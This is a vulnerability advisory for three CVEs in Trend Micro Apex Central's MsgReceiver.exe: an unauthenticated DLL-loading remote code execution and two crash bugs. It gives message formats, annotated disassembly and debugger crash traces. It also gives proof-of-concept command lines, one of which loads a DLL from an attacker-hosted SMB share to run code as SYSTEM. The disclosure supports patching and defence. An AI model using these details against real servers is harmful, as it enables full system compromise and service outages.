Trend Micro Apex Central Multiple Vulnerabilities
CVE-2025-69258: MsgReceiver.exe LoadLibraryEx RCE (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
MsgReceiver.exe listens on default TCP port 20001 and accepts messages having the following structures:
// be = big endian
// le = little endian
struct hdr
{
be32 MsgSize; // for entire message
byte unk[9];
};
struct body
{
le16 MsgId; // 0x08ff – SC_QUERY_PROCESS_ID_REQUEST
// 0x0900 – SC_QUERY_PROCESS_ID_REPLY
// 0x08fd – SC_UNLOAD_REQUEST
// 0x08fe – SC_UNLOAD_REPLY
// 0x0a8d – SC_INSTALL_HANDLER_REQUEST
// 0x0a8e – SC_INSTALL_HANDLER_REPLY
// 0x0901 – SC_UPDATE_DEBUG_MODE_REQUEST
// 0x0a8f – FwdMsg2LogInterceptors
// 0x1b5b – SC_CMD_CGI_LOG_REQUEST
// […]
byte data[hdr.MsgSize-15]; // message-specific data
};
struct msg
{
hdr h;
body b;
};
struct x_astring
{
le32 size; // string size
byte data[size]; // string data, null-terminated
};
struct msg_0a8d
{
hdr h;
le16 MsgId; // must be 0x0a8d
x_astring handler; // interceptor handler DLL name
le32 flag; // 1 – install handler, 0 – uninstall handler
};
Message 0x0a8d includes the name of a DLL to be loaded via LoadLibraryEx():
// msgHandlerLogReceiver.dll, file version 8.0.0.7052
[…]
.text:10086012 push LOAD_WITH_ALTERED_SEARCH_PATH
.text:10086014 push 0
.text:10086016 push edi ; VULN: attacker-controlled DLL
.text:10086016 ; e.g., \\<attacker-host>\share\evil.dll
.text:10086017 call ds:LoadLibraryExA
[…]
An unauthenticated remote attacker can send message 0x0a8d to load an attacker-controlled DLL into MsgReceiver.exe, leading to execution of attacker-supplied code under the security context of SYSTEM.
PoC:
// Preparation work:
// – Create a 32-bit DLL with code to run when loaded
// – Set up an unauthenticated SAMBA share on <attacker-host> to serve the DLL
python3 tm_apex_central_MsgReceiver_LoadLibrary_rce.py -t <target-host> -p 20001 -d ‘\\\\<attacker-host>\\<share>\\<some>.dll’
Sending message 0x0a8d
CVE-2025-69259: MsgReceiver.exe Message 0x1b5b Unchecked NULL Return Value DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Message 0x1b5b with “new protocol” has the following structure:
struct msg_1b5b_new_proto
{
hdr h;
le16 MsgId; // must be 0x1b5b
byte zero[2]; // two zero bytes to indicate “new protocol”
le32 DataSize; // size of the following data
byte data[DataSize]; // data expected to be some CRLF-terminated (\\r\\n) text
// followed by a list of fields
};
struct field
{
be32 id; // field name id
be32 type; // field type
// 0x64 – no data
// 0x65 – no data
// 1 – null-terminated, ascii string
// 2 – null-terminated, utf16-be-encoded string
// 3 – arbitrary string? data
// 4 – signed be16
// 5 – unsigned be16
// 6 – signed be32
// 7 – unsigned be32
// 8 – signed be64?
// 9 – unsigned be64?
be32 size; // field size, not present for types 0x64 and 0x65
byte data[size]; // field data, not present for types 0x64 and 0x65
};
When processing these messages, a call to strstr(<user_data>, “\r\n”) is made with user-supplied data. When the user data does not contain “\r\n”, a NULL value is returned but the NULL value is not checked:
// msgHandlerLogReceiver.dll, file version 8.0.0.7052, rebased to 0x6A381000
[…]
.text:6A38C33B mov esi, [ebp+arg_psUserData]
.text:6A38C33E mov eax, offset psCrlf
.text:6A38C343 cmovnb eax, psCrlf.PtrOrLdata
.text:6A38C34A push eax ; “\\r\\n\\”
.text:6A38C34B push esi ; user-supplied data
.text:6A38C34C call ds:strstr
.text:6A38C352 mov edx, psCrlf.DataSize
.text:6A38C358 sub eax, esi ; LineSize
.text:6A38C358 ; VULN: NULL ret value not checked
.text:6A38C35A add edx, eax ; LineSizeIncludingCrlf
[…]
This leads to incorrect pointer arithmetic, resulting in invalid memory access:
0:025> g
(3044.2a54): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00678170 ebx=03e837b8 ecx=00000002 edx=00000006 esi=00000000 edi=01edfc64
eip=6a3c61d7 esp=01edf754 ebp=01edf7c4 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x19a67:
6a3c61d7 8b11 mov edx,dword ptr [ecx] ds:002b:00000002=????????
0:011> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 01edf7c4 6a3c591c msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x19a67
01 01edf7f0 6a392434 msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x191ac
02 01edf8d4 6a38de5c msgHandlerLogReceiver+0x12434
03 01edf944 6a387077 msgHandlerLogReceiver+0xde5c
04 01edfb90 6a3ac685 msgHandlerLogReceiver+0x7077
05 01edfba8 00401f2d msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_NG_HandleMessage+0x25
06 01edfc44 00414f44 MsgReceiver+0x1f2d
07 01edfcd4 00412a9e MsgReceiver+0x14f44
08 01edfcf0 0040f274 MsgReceiver+0x12a9e
09 01edfd0c 004146f1 MsgReceiver+0xf274
0a 01edfda8 0040bdfd MsgReceiver+0x146f1
0b 01edfe14 0040cb67 MsgReceiver+0xbdfd
0c 01edfe78 0040ca11 MsgReceiver+0xcb67
0d 01edfea0 0040c110 MsgReceiver+0xca11
0e 01edff00 0040c9e8 MsgReceiver+0xc110
0f 01edff30 74b1f2e9 MsgReceiver+0xc9e8
10 01edff68 74b1f2cd MSVCR110!_beginthreadex+0xb4
11 01edff74 755967f9 MSVCR110!_endthreadex+0x102
12 01edff84 776e7f4d KERNEL32!BaseThreadInitThunk+0x19
13 01edffdc 776e7f1b ntdll!__RtlUserThreadStart+0x2b
14 01edffec 00000000 ntdll!_RtlUserThreadStart+0x1b
PoC:
python3 tm_apex_central_MsgReceiver_msg_1b5b_unchecked_null_retval_dos.py -t <target-host> -p 20001
Establishing connection 0x00000001
Sending message 0x1b5b
[Errno 104] Connection reset by peer
Establishing connection 0x00000002
[Errno 111] Connection refused
CVE-2025-69260: MsgReceiver.exe Message 0x1b5b Out-of-bounds Read DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Message 0x1b5b without “new protocol” has the following structure:
struct msg_1b5b
{
hdr h;
le16 MsgId; // must be 0x1b5b
x_astring SrcType;
x_astring SrcIDr;
x_astring XMLData;
};
The “CIPCMsgBuffer_GetStringPtr” function in msgHandlerLogReceiver.dll is used to process a x_astring in the buffer. It returns a pointer to the string data in the buffer as indicated by the internal current position of the buffer, and then advances the current position by 4 + x_astring.size bytes:
// msgHandlerLogReceiver.dll, file version 8.0.0.7052, rebased to 0x6A381000
[…]
.text:6A3DEC6F mov eax, [esi+CIPCMsgBuffer.CurPos]
.text:6A3DEC72 add eax, ecx ; pbData + curPos
.text:6A3DEC74 add eax, 4 ; pbData + curPos + 4
.text:6A3DEC77 mov edi, [eax-4] ; strlen
.text:6A3DEC7A mov [ebx], eax ; store str ptr on return
.text:6A3DEC7C mov eax, [esi+CIPCMsgBuffer.CurPos]
.text:6A3DEC7F mov [esi+CIPCMsgBuffer.PrevPos], eax
.text:6A3DEC82 add eax, 4 ; adv strlen field
.text:6A3DEC85 add eax, edi ; adv str
.text:6A3DEC85 ; VULN: attacker-specified strlen
.text:6A3DEC85 ; causing CurPos > BufferSize
.text:6A3DEC87 mov [esi+CIPCMsgBuffer.CurPos], eax
[…]
However, the string size is not checked against the end of the buffer. An unauthenticated remote attacker can specify a large x_astring.size for the first x_astring. When the second x_astring gets processed, the current position of the buffer can point to an invalid memory location, resulting in a an access violation:
0:027> g
(2420.32e0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=593098b2 ebx=01eff8ac ecx=040088a8 edx=6a4229a4 esi=01eff920 edi=0355e798
eip=6a3dec77 esp=01eff7e8 ebp=01eff88c iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x32507:
6a3dec77 8b78fc mov edi,dword ptr [eax-4] ds:002b:593098ae=????????
0:011> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 01eff88c 6a392cd2 msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_UpdateSystemData+0x32507
01 01eff90c 6a3885de msgHandlerLogReceiver+0x12cd2
02 01eff948 6a387098 msgHandlerLogReceiver+0x85de
03 01effb90 6a3ac685 msgHandlerLogReceiver+0x7098
04 01effba8 00401f2d msgHandlerLogReceiver!MsgReceiverIPC_EvtHandler_NG_HandleMessage+0x25
05 01effc44 00414f44 MsgReceiver+0x1f2d
06 01effcd4 00412a9e MsgReceiver+0x14f44
07 01effcf0 0040f274 MsgReceiver+0x12a9e
08 01effd0c 004146f1 MsgReceiver+0xf274
09 01effda8 0040bdfd MsgReceiver+0x146f1
0a 01effe14 0040cb67 MsgReceiver+0xbdfd
0b 01effe78 0040ca11 MsgReceiver+0xcb67
0c 01effea0 0040c110 MsgReceiver+0xca11
0d 01efff00 0040c9e8 MsgReceiver+0xc110
0e 01efff30 74b1f2e9 MsgReceiver+0xc9e8
0f 01efff68 74b1f2cd MSVCR110!_beginthreadex+0xb4
10 01efff74 755967f9 MSVCR110!_endthreadex+0x102
11 01efff84 776e7f4d KERNEL32!BaseThreadInitThunk+0x19
12 01efffdc 776e7f1b ntdll!__RtlUserThreadStart+0x2b
13 01efffec 00000000 ntdll!_RtlUserThreadStart+0x1b
PoC:
python3 tm_apex_central_MsgReceiver_msg_1b5b_oob_read_dos.py -t <target-host> -p 20001
Establishing connection 0x00000001, string size 0xc7551000
Sending message 0x1b5b
[Errno 104] Connection reset by peer
Establishing connection 0x00000002, string size 0x7ddbd000
[Errno 111] Connection refused





